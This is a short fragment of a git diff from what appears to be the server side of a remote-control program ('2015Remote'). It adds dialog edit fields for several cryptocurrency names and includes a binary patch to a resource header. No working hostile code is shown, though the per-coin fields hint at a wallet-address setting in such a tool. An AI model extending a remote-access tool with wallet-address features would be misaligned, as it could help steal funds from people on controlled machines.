+ CEdit m_EditSOL;
+ CEdit m_EditXRP;
+ CEdit m_EditADA;
+ CEdit m_EditDOGE;
+ CEdit m_EditDOT;
+ CEdit m_EditTRON;
+ virtual BOOL OnInitDialog();
+ virtual void OnOK();
+};
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index cdf1f5002f85c04a006c5535c3fcf0b2138c11de..24aa704c51edb07f935eabe01872b4f5ca79056c 100644
GIT binary patch
delta 509
zcmaF&iRs55rVSDHlQ*ymafUNEGWYtw@)%9Dk*$V_hFVA&jFZxT2;L6T1pF3k|a
z5YOPm5Hi^@M0Qd?+vImU#3l!*3W=gBaAgQ$aAq)?%(zt&q$o*R15JTHgD-<0gXiRj
z#?s7&43?7>1>`3;NOPg73PCkS#6}8>V}cp{CvW7Eo%}(bWpb0a3>Fm;3_+7WDuGon
z8cc3?DPF&Iovny{$w9nglRs=1nH;ynWU`U~guQ2n5ilAc
IY>Ay=0DmQj82|tP
delta 64
zcmezIhw0rXrVSDHlRpTsY~E&X5;*z8I)TmarevvY7TKf4IC+M>*krzaB9k-rnoQoX
Q8^S)e*J!fNL=Za*0PratbpQYW